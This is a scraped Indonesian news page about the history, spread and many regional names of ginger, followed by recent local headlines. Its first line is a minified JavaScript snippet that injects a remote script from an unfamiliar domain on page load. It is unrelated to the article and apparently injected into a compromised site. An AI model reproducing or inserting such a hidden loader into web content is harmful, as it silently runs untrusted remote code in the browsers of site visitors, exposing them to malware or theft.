(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Infografis Kanalkalimantan

Manfaat Jahe Bagi Kesehatan, Tumbuhan yang Tersebar di Nusantara


KANALKALIMANTAN.COM – Asal usul dan penyebaran jahe diperkirakan merupakan tumbuhan pribumi Asia Tenggara. Penyebarannya diperkirakan mengikuti migrasi yang dilakukan oleh Suku Bangsa Austronesia pada abad ke-4 SM menyeberangi Kepulauan Melayu dari Cina Tenggara sampai ke Taiwan. Jahe pun menjadi tumbuhan khas wilayah tersebut bersamaan dengan lengkuas, temu putih, dan lempuyang

Tumbuhan jahe dikategorikan sebagai tumbuhan kulitigen dan tidak tersedia lagi dalam bentuk liar di alam. Hal ini disebabkan karena jahe telah kehilangan kemampuannya tumbuh melalui biji seperti kebanyakan jenis rempah-rempah lainnya dan hanya bisa berkembang biak melalui reproduksi vegetatif menggunakan akarnya yang merupakan akibat dari seleksi buatan yang dilakukan manusia. Tumbuhan ini telah lama didomestifikasi di India dan Tiongkok.

Jahe disebarkan oleh Suku Bangsa Austronesia dengan membawanya dalam pelayaran dan menanamnya di setiap taman di pulau-pulau yang mereka kunjungi selama berlayar. Kebiasaan inilah yang menyebabkan jahe tersebar hingga ke Filipina dan Kepulauan Maluku, lalu ke seluruh Indonesia seperti Sumatra, Jawa, Pulau Papua sampai ke Selat Malaka.

 

 

Baca juga: JPO A Yani dan Pedestrian Panglima Batur Dua Prioritas di 2022

Jahe memiliki nama yang beragam di seluruh Indonesia. Daerah yang berada di Pulau Sumatra mengenalnya dengan nama halia (Aceh), beuing (Gayo), bahing (Karo), pege (Toba), sipode (Mandailing), lahya (Komering) lahia (Nias), sipodeh (Minangkabau), page (Lubu), dan jahi (Lampung). Nama jahe mungkin berasal dari pulau Jawa karena memiliki kemiripan seperti jahe dalam bahasa Sunda, jae (Jawa), jhai (Madura), dan jae (Kangean). Daerah Indonesia timur seperti Pulau Sulawesi mengenal jahe dengan nama layu (Mongondow), moyuman (Poros), melito (Gorontalo), yuyo (Buol), siwei (Baree), laia (Makassar), dan pace (Bugis). Di Maluku, jahe dikenal dengan nama hairalo (Amahai), pusu, seeia, sehi (Ambon), sehi (Hila), sehil (Nusa Laut), siwew (Buns), garaka (Ternate), gora (Tidore), dan laian (Aru). Daerah di Pulau Papua menyebutnya dengan nama tali dalam bahasa Kalanapat dan marman dalam bahasa Kapaur. Wilayah Nusa Tenggara dan sekitarnya menyebutnya dengan nama jae (Bali), reja (Bima), alia (Sumba), dan lea (Flores). Bahasa dayak di Kalimantan (Dayak) mengenal jahe dengan sebutan lai, sedangkan dalam bahasa Banjar disebut tipaka’terus logat manado disebut “goraka” (Kanalkalimantan.com/Wikipedia)

Editor : kk


Risa

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

45 menit ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

1 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

5 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

6 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

7 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

7 jam ago

This website uses cookies.